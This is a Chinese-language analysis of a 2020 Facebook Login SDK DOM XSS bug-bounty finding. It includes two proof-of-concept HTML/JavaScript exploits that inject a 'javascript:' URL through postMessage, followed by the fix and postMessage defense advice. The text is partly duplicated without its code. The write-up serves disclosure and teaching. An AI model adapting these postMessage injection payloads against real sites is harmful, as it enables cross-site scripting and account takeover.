Bug Bounty:$20000 Facebook DOM XSS
字数 1263 2025-08-25 22:58:55

Facebook DOM XSS漏洞分析:通过postMessage的利用与防御

1. 漏洞背景

1.1 postMessage简介

window.postMessage()是HTML5引入的一种安全跨域通信机制,允许不同窗口/iframe之间进行数据传递,即使它们来自不同的源。基本语法为:

otherWindow.postMessage(message, targetOrigin, [transfer]);

1.2 漏洞发现背景

  • 研究者将重点从服务器端漏洞转向客户端漏洞
  • 最初研究XSSI(跨站脚本包含)和JSONP漏洞,但因SameSite cookie的引入而变得罕见
  • 转向研究postMessage漏洞,发现其常被安全人员忽略且易于调试

2. 漏洞发现过程

2.1 Facebook登录SDK分析

Facebook Login SDK for JavaScript使用iframe进行跨域通信:

  1. 创建一个代理iframe:https://www.facebook.com/v6.0/plugins/login_button.php
  2. JavaScript SDK向iframe发送初始化有效负载,包含按钮的点击URL
  3. 用户点击按钮时,iframe使用window.open()打开指定的URL

2.2 关键漏洞点

SDK将URL参数发送到iframe,当按钮点击时执行:

i.url = i.url.replace(/cbt=\d+/, "cbt=" + a);
a = window.open(i.url, i.id, b("buildPopupFeatureString")(i));

问题:没有对URL进行验证,导致可以注入javascript:伪协议

3. 漏洞利用方法

3.1 弹出窗口方法

<script>
var opener = window.open("https://www.facebook.com/v6.0/plugins/login_button.php?app_id=APP_ID&...", "opener", "...");
setTimeout(function(){
  var message = {
    "xdArbiterHandleMessage":true,
    "message":{
      "method":"loginButtonStateInit",
      "params":JSON.stringify({
        'call':{
          'id':'123',
          'url':'javascript:alert(document.domain);',
          'size':{'width':10,'height':10},
          'dims':{'screenX':0,'screenY':23,'outerWidth':1680,'outerHeight':971,'screenWidth':1680}
        }
      })
    },
    "origin":"ORIGIN"
  };
  opener.postMessage(message,'*');
},4000);
</script>

3.2 iframe方法

<script>
function fbFrameLoaded() {
  var iframeEl = document.getElementById('fbframe');
  var message = {
    "xdArbiterHandleMessage":true,
    "message":{
      "method":"loginButtonStateInit",
      "params":JSON.stringify({
        'call':{
          'id':'123',
          'url':'javascript:alert(document.domain);',
          'size':{'width':10,'height':10},
          'dims':{'screenX':0,'screenY':23,'outerWidth':1680,'outerHeight':971,'screenWidth':1680}
        }
      })
    },
    "origin":"ORIGIN"
  };
  iframeEl.contentWindow.postMessage(message,'*');
}
</script>
<iframe id="fbframe" src="https://www.facebook.com/v6.0/plugins/login_button.php?app_id=APP_ID&..." onload="fbFrameLoaded(this)"></iframe>

4. 漏洞修复方案

Facebook添加了URL验证:

d = b("isFacebookURI")(new (g || (g = b("URI")))(c.call.url)), 
j = c.call;
d || (j.url = b("XOAuthErrorController").getURIBuilder()
  .setEnum("error_code", "PLATFORM__INVALID_URL")
  .getURI().toString())

修复关键点:

  1. 检查URL是否为合法的Facebook URI
  2. 如果不是,则替换为错误页面URL

5. 漏洞影响

  • 攻击场景:用户访问攻击者控制的网站
  • 触发条件:用户点击Facebook按钮
  • 后果:在facebook.com域上执行任意JavaScript,可能导致账户接管

6. 时间线

  • 2020年4月17日:初次报告
  • 2020年4月17日:报告确认
  • 2020年4月29日:确认修复
  • 2020年5月1日:奖励$20,000赏金

7. 防御建议

7.1 接收postMessage时的安全措施

  1. 验证origin:严格检查消息来源

    window.addEventListener('message', function(event) {
      if (event.origin !== "https://expected.domain.com") return;
      // 处理消息
    });
    
  2. 验证消息内容:特别是包含URL或可执行代码的部分

7.2 发送postMessage时的安全措施

  1. 指定精确的targetOrigin:避免使用*

    otherWindow.postMessage(message, "https://target.domain.com");
    
  2. 最小化暴露的API:只暴露必要功能

7.3 其他防御措施

  1. 内容安全策略(CSP):限制脚本执行
  2. X-Frame-Options:防止点击劫持
  3. 输入验证:特别是对URL和动态执行的内容

8. 研究工具

研究者创建了Chrome扩展程序来监控跨窗口通信,这对发现类似漏洞很有帮助。

9. 总结

这个案例展示了:

  1. postMessage实现不当可能导致严重安全漏洞
  2. 即使是Facebook这样的顶级公司也可能忽略客户端安全
  3. 客户端漏洞研究仍有很大价值
  4. 简单的漏洞可能带来高额赏金

通过深入研究常见API的使用方式,安全研究人员可以发现被忽视的攻击面,获得丰厚的回报。

Facebook DOM XSS漏洞分析:通过postMessage的利用与防御 1. 漏洞背景 1.1 postMessage简介 window.postMessage() 是HTML5引入的一种安全跨域通信机制,允许不同窗口/iframe之间进行数据传递,即使它们来自不同的源。基本语法为: 1.2 漏洞发现背景 研究者将重点从服务器端漏洞转向客户端漏洞 最初研究XSSI(跨站脚本包含)和JSONP漏洞,但因SameSite cookie的引入而变得罕见 转向研究postMessage漏洞,发现其常被安全人员忽略且易于调试 2. 漏洞发现过程 2.1 Facebook登录SDK分析 Facebook Login SDK for JavaScript使用iframe进行跨域通信: 创建一个代理iframe: https://www.facebook.com/v6.0/plugins/login_button.php JavaScript SDK向iframe发送初始化有效负载,包含按钮的点击URL 用户点击按钮时,iframe使用 window.open() 打开指定的URL 2.2 关键漏洞点 SDK将URL参数发送到iframe,当按钮点击时执行: 问题 :没有对URL进行验证,导致可以注入 javascript: 伪协议 3. 漏洞利用方法 3.1 弹出窗口方法 3.2 iframe方法 4. 漏洞修复方案 Facebook添加了URL验证: 修复关键点: 检查URL是否为合法的Facebook URI 如果不是,则替换为错误页面URL 5. 漏洞影响 攻击场景 :用户访问攻击者控制的网站 触发条件 :用户点击Facebook按钮 后果 :在facebook.com域上执行任意JavaScript,可能导致账户接管 6. 时间线 2020年4月17日:初次报告 2020年4月17日:报告确认 2020年4月29日:确认修复 2020年5月1日:奖励$20,000赏金 7. 防御建议 7.1 接收postMessage时的安全措施 验证origin :严格检查消息来源 验证消息内容 :特别是包含URL或可执行代码的部分 7.2 发送postMessage时的安全措施 指定精确的targetOrigin :避免使用 * 最小化暴露的API :只暴露必要功能 7.3 其他防御措施 内容安全策略(CSP) :限制脚本执行 X-Frame-Options :防止点击劫持 输入验证 :特别是对URL和动态执行的内容 8. 研究工具 研究者创建了Chrome扩展程序来监控跨窗口通信,这对发现类似漏洞很有帮助。 9. 总结 这个案例展示了: postMessage实现不当可能导致严重安全漏洞 即使是Facebook这样的顶级公司也可能忽略客户端安全 客户端漏洞研究仍有很大价值 简单的漏洞可能带来高额赏金 通过深入研究常见API的使用方式,安全研究人员可以发现被忽视的攻击面,获得丰厚的回报。